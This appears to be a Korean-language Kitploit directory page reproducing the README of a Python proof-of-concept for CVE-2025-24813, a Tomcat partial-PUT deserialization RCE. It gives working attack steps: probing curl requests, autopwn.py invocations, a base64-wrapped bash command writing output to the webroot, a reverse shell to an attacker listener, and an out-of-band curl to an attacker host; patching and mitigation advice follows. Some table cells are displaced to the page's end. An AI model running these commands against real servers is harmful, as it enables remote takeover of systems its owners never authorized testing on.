Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-24813 — Apache Tomcat 부분 PUT 역직렬화 RCE인 CVE-2025-24813을 악용하는 Python PoC. 취약한 변종을 자동 탐지하고, 블라인드 명령 실행 및 리버스 셸을 지원한다. | Kitploit
도구/GitHubGitHub/e5dfdd568a75282b712b6d93a7a18e12/cve-2025-24813
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed TeamingRemote Access Tool

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
e5dfdd568a75282b712b6d93a7a18e12/cve-2025-24813

CVE-2025-24813

Apache Tomcat 부분 PUT 역직렬화 RCE인 CVE-2025-24813을 악용하는 Python PoC. 취약한 변종을 자동 탐지하고, 블라인드 명령 실행 및 리버스 셸을 지원한다.

저장소 보기
16시간 59분 전아직 검토되지 않음

CVE-2025-24813 — Apache Tomcat 부분 PUT 역직렬화 RCE

심각도: 치명적 (CVSS 9.8) 인증 필요: 없음 영향받는 버전: Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 패치된 버전: Tomcat 9.0.99 / 10.1.35 / 11.0.3


동작 원리

Apache Tomcat은 부분 PUT(Content-Range를 통한 청크 업로드)을 지원합니다. 부분 PUT이 도착하면 Tomcat은 본문을 다음 위치의 임시 파일에 저장합니다:

root@kitploit:~
$CATALINA_HOME/work/…/<url-path-filename>

애플리케이션이 context.xml에서 PersistentManager + FileStore 로 구성된 경우, Tomcat은 동일한 work 디렉터리에서 *.session 파일을 자동으로 읽고 세션을 복원하기 위해 이를 역직렬화합니다.

이 두 가지 동작을 결합하면:

root@kitploit:~
PUT /<sid>.session        →  Java 직렬화 페이로드를 work/<sid>.session에 기록
GET /  Cookie: JSESSIONID=.<sid>   →  Tomcat이 파일을 로드하고 역직렬화  →  RCE

쿠키 값의 선행 점(.)은 절대 경로 세션 조회(variant B)를 트리거하며, 이것이 저장된 파일에 안정적으로 도달하는 경로입니다.


가젯 체인

이 PoC는 ysoserial의 CommonsCollections6를 사용하며, 이는 @jdk.internal 플래그 없이 Java 8–17에서 동작하고 sun.reflect.SerializationConstructorAccessorImpl에 의존하지 않습니다.

root@kitploit:~
ObjectInputStream.readObject()
  └─ HashSet.readObject()
       └─ TiedMapEntry.hashCode()
            └─ LazyMap.get()
                 └─ ChainedTransformer.transform()
                      └─ InvokerTransformer → Runtime.exec(command)

식별 (대상이 취약한가?)

1단계 — Tomcat 및 버전 확인

root@kitploit:~
curl -sI http://target:9090/ | grep -i server
# Look for: Apache-Coyote/1.1  or  Apache Tomcat

2단계 — 부분 PUT이 활성화되어 있는지 확인

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# 201 Created = partial PUT enabled  (vulnerable prerequisite met)
# 403/405     = partial PUT disabled (not vulnerable via this path)

3단계 — PoC 실행 (자동 감지)

root@kitploit:~
python3 autopwn.py http://target:9090 --command "id"
# Vulnerable  → one line shows GET=500 + "<<<< 500 = FIRED!"
# Not vuln    → all lines show GET=200, no 500

익스플로잇 출력 설명

root@kitploit:~
[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=pwn1   [A(no-dot)]     GET=200
[*] path=/{sid}.session                            PUT=201 cookie=JSESSIONID=.pwn2  [B(dot-prefix)] GET=500  <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session        PUT=409 cookie=JSESSIONID=pwn3   [A(no-dot)]     GET=200
...
[+] Target is VULNERABLE!  Winning variant: B(dot-prefix)
    upload path : /{sid}.session
    trigger     : Cookie: JSESSIONID=.pwn2
상태의미
PUT 201파일이 Tomcat work 디렉터리에 저장됨
PUT 409경로 차단됨 (traversal 거부됨)
GET 200세션을 찾을 수 없음 / 역직렬화되지 않음
GET 500역직렬화 트리거됨 → RCE

인코딩된 페이로드 vs 원시 페이로드 — 왜 중요한가

업로드는 원시 바이너리 Java 직렬화 스트림이며 — URL 인코딩이 없습니다. HTTP 쿼리 파라미터 익스플로잇과 달리, 페이로드는 PUT을 통해 요청 본문에 들어가므로 싸워야 할 URL 인코딩 계층이 없습니다:

root@kitploit:~
PUT /{sid}.session HTTP/1.1
Content-Type: application/octet-stream
Content-Range: bytes 0-1274/1375

\xac\xed\x00\x05\x73\x72...  (raw serialized bytes — CommonsCollections6)

Content-Range 헤더는 부분 업로드를 알리며, Tomcat은 본문을 그대로 디스크에 기록하여 직렬화된 페이로드의 모든 바이트를 보존합니다.


사용법

요구 사항

root@kitploit:~
pip install requests
# Java runtime in PATH
# ysoserial.jar in current directory (or pass --ysoserial <path>)

블라인드 명령 (출력은 서버로만 전송됨)

root@kitploit:~
python3 autopwn.py http://192.168.61.148:9090 --command "id"

웹루트 파일을 통한 출력 읽기

root@kitploit:~
# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)

python3 autopwn.py http://192.168.61.148:9090 \
    --command "bash -c {echo,$B64}|{base64,-d}|bash"

# Fetch the result
curl http://192.168.61.148:9090/idout.txt

리버스 셸

root@kitploit:~
# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
    --revshell --lhost 192.168.61.10 --lport 4444

스크립트는 variant A/B를 자동 감지하고, 첫 번째 성공 후 중단하며, 어떤 경로가 성공했는지 정확히 알 수 있도록 승리한 경로를 출력합니다.

모든 옵션

root@kitploit:~
positional arguments:
  target                Target base URL (e.g. http://192.168.61.148:9090)

options:
  --command CMD         Command to execute (blind mode, default: id)
  --revshell            Send reverse shell instead of blind command
  --lhost LHOST         Listener IP  (required with --revshell)
  --lport LPORT         Listener port (required with --revshell)
  --gadget GADGET       ysoserial gadget chain (default: CommonsCollections6)
  --ysoserial PATH      Path to ysoserial jar (default: ysoserial.jar)
  --sid SID             Session ID prefix for upload filenames (default: pwn)
  --no-ssl-verify       Disable SSL certificate verification

왜 블라인드 RCE인가? 출력을 얻는 방법

CVE-2025-24813은 블라인드입니다 — Runtime.exec()가 명령을 실행하지만, 그 stdout/stderr는 버려지며, HTTP 응답은 역직렬화가 성공했는지(500) 아니면 실패했는지(200)만 반영합니다.

출력을 얻는 세 가지 방법:

방법방법
웹루트 파일출력을 /…/webapps/ROOT/의 파일로 리다이렉트하고 HTTP로 가져옴
리버스 셸

수정 / 완화

패치 (권장)

브랜치취약패치됨
9.x9.0.0.M1 – 9.0.989.0.99+
10.1.x10.1.0-M1 – 10.1.34
root@kitploit:~
# Check installed version
$CATALINA_HOME/bin/catalina.sh version | grep "Server version"

우회 방법 — 부분 PUT 비활성화

$CATALINA_HOME/conf/web.xml에서 DefaultServlet init-param을 찾아 다음을 설정합니다:

root@kitploit:~
<init-param>
    <param-name>readonly</param-name>
    <param-value>true</param-value>
</init-param>

또는 필요하지 않은 경우 context.xml에서 PersistentManager를 비활성화합니다:

root@kitploit:~
<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!--   <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->

패치 후 검증

root@kitploit:~
# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
  -X PUT "http://target:9090/test.session" \
  -H "Content-Range: bytes 0-9/200" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "AAAAAAAAAA"
# Patched   → 403 / 405
# Vulnerable → 201

# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched   → all GET=200, no 500

참고 자료

  • NVD — CVE-2025-24813
  • Apache Tomcat Security Advisory (9.x)
  • ysoserial

허가된 보안 테스트 및 교육 목적으로만 사용하십시오.

도구 다운로드
--revshell 플래그 — 대화형 셸을 얻어 실시간으로 명령 실행
DNS/OOB`curl http://attacker/$(id
10.1.35+
11.x11.0.0-M1 – 11.0.211.0.3+